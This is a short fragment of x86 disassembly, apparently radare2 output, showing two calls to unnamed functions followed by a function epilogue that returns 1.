call fcn.00ea102e
push esi
call fcn.00ea0fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret